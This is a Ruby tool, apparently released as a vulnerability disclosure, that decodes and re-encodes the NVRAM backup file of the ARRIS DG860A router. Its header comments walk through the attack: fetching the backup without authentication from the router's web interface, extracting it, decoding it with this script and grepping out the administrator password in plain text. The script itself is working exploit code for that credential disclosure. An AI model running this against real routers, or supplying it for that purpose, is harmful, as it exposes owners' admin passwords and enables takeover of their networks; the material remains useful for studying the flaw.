#! /usr/bin/env ruby
# ARRIS DG860A NVRAM Backup 'Compressor/Decompressor', it really does xor?
# Gleaned from sc_mix executable in firmware dump.
#
# Backup file is world readable without authentication and contains password
# information in plain text.
#
# box:arris-dev cosmo$ wget http://192.168.0.1/router.data
# --2013-10-17 18:21:28-- http://192.168.0.1/router.data
# Connecting to 192.168.0.1:80... connected.
# HTTP request sent, awaiting response... 200 OK
# Length: 3518 (3.4K) [application/octet-stream]
# Saving to: ?router.data?
#
# 100%[=============================================================================================================>] 3,518 --.-K/s in 0s
#
# 2013-10-17 18:21:28 (108 MB/s) - ?router.data? saved [3518/3518]
#
# box:arris-dev cosmo$ tar vxf router.data
# x backup/
# x backup/sc_nvram.usr.sc
# x backup/sc_nvram.sc
# box:arris-dev cosmo$ sudo ./sc_mix.rb -u -s backup/sc_nvram.usr.sc -d sc_nvram_dump
# Password:
# box:arris-dev cosmo$ cat sc_nvram_dump | tr "\000\000" "\000" | tr "\000" "\n" | grep sysAdminPassword
# sysAdminPassword[0]=test123
# box:arris-dev cosmo$
#
#
#
require 'optparse'
require 'highline/import'
require 'zlib'
def Compress(infile, outfile)
instream = nil
outstream = nil
size = 0
calculatedcrc = 0
data=''
size = File.size?(infile)
instream = File.open(infile,'r')
data = instream.read()
data = data.bytes.map { |a| a ^ 0xFFFFFFAA }.pack('c*')
instream.close() if !instream.nil?
outstream = File.open(outfile,'w')
outstream.write("\x00NOF")
outstream.write([size].pack('L>'))
calculatedcrc = Zlib::crc32(data)
outstream.write([calculatedcrc].pack('L>'))
outstream.write([size].pack('L>'))
outstream.write("\x00\x00\x00\x00" * 6)
outstream.write(data)
outstream.close() if !outstream.nil?
end
def Decompress(infile, outfile)
instream = nil
outstream = nil
size = 0
embeddedcrc = 0
calculatedcrc = 0
data=''
if !(File::size?(infile) >= 0x28)
puts "[ERROR]: Source file size is insufficient(Smaller then 0x28 bytes)"
exit
end
instream = File::open(infile,'r')
if instream.read(4) != "\x00NOF"
instream.close() if !instream.nil?
puts "[ERROR]: Source file contains invalid magic(\\x00NOF)"
exit
end
size = instream.read(4).unpack("L>")[0]
embeddedcrc = instream.read(4).unpack("L>")[0]
if !(File.size?(infile) >= (0x28+size))
puts "[ERROR]: Source file size if insufficient(Smaller then 0x" + (0x28+minsize).to_s(16) + ")"
instream.close() if !instream.nil?
end
instream.seek(0x28,IO::SEEK_SET)
data = instream.read(size)
calculatedcrc = Zlib::crc32(data)
if embeddedcrc != calculatedcrc
puts "[ERROR]: Checksum mismatch"
instream.close() if !instream.nil?
exit
end
outstream = File::open(outfile,'w')
outstream.write(data.bytes.map { |a| a ^ 0xFFFFFFAA }.pack('c*'))
instream.close() if !instream.nil?
outstream.close() if !outstream.nil?
end
#begin
if __FILE__ == $0
options = {}
opt_parser = OptionParser.new do |opts|
opts.banner = "Usage: sc_mix.rb -s <Src_PATH> -d <Dest_PATH>"
opts.separator "Usage:"
opts.on('-s', '--source Src_PATH', 'Source File') { |v| options[:source_file] = v }
opts.on('-d', '--destination Dest_PATH', 'Destination File') { |v| options[:destination_file] = v }
opts.on('-u', 'Uncompress') { options[:uncompress] = true }
opts.on_tail("-h", "Show this message") do
puts opts
exit
end
end
opt_parser.parse!
if options[:source_file].nil? or options[:destination_file].nil?
puts opt_parser
exit
end
if !File::exists?(options[:source_file]) or !File::readable?(options[:source_file])
puts "[ERROR]: File does not exist or there are insufficient privileges(sudo?)"
exit
end
if File::exists?(options[:destination_file])
if !agree("[ERROR]: File exists attempt to overwrite[yes/no]? ")
exit
end
if !File::writable?(options[:destination_file])
puts "[ERROR]: File is not writeable is there insufficient privileges(sudo?)"
exit
end
end
if !options[:uncompress]
puts "[WARNING]: Compression is currently beta"
Compress(options[:source_file], options[:destination_file])
else
Decompress(options[:source_file], options[:destination_file])
end
end
